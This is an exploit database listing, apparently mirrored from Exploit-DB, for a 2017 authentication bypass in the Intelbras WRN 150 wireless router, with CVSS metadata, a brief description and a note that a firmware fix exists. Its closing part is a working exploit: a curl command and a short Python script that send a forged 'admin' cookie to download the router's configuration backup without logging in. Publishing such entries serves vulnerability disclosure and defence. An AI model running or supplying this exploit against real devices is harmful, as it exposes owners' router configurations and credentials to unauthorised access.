Autentication Bypass/Config file download - INTELBRAS WRN 150

vendor:

WRN 150

by:

Elber Tavares

8,8

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: WRN 150

Affected Version From: Intelbras Wireless N 150 Mbps - WRN 150

Affected Version To: Intelbras Wireless N 150 Mbps - WRN 150

Patch Exists: YES

Related CWE: N/A

CPE: h:intelbras:wrn_150

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali Linux, Windows 7, 8.1, 10

2017

Autentication Bypass/Config file download – INTELBRAS WRN 150

An authentication bypass vulnerability exists in Intelbras WRN 150 devices. An attacker can exploit this vulnerability to download the configuration file without authentication by sending a specially crafted HTTP request with a valid cookie.

Mitigation:

The vendor has released a firmware update to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Autentication Bypass/Config file download - INTELBRAS WRN
150
# Date: 28/09/2017
# Exploit Author: Elber Tavares
# Vendor Homepage: http://intelbras.com.br/
# Version: Intelbras Wireless N 150 Mbps - WRN 150
# Tested on: kali linux, windows 7, 8.1, 10
For more info:

http://whiteboyz.xyz/authentication-bypass-intelbras-wrn-150.html

URL VULN: http://10.0.0.1/

Download backup file:

Payload: curl --cookie "Cookie=admin:language=pt"
http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg



PoC:

#pip install requests
from requests import get

url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
#url do backup
header = {'Cookie': 'admin:language=pt'}
#setando o cookie no header
r = get(url, headers=header).text
print(r)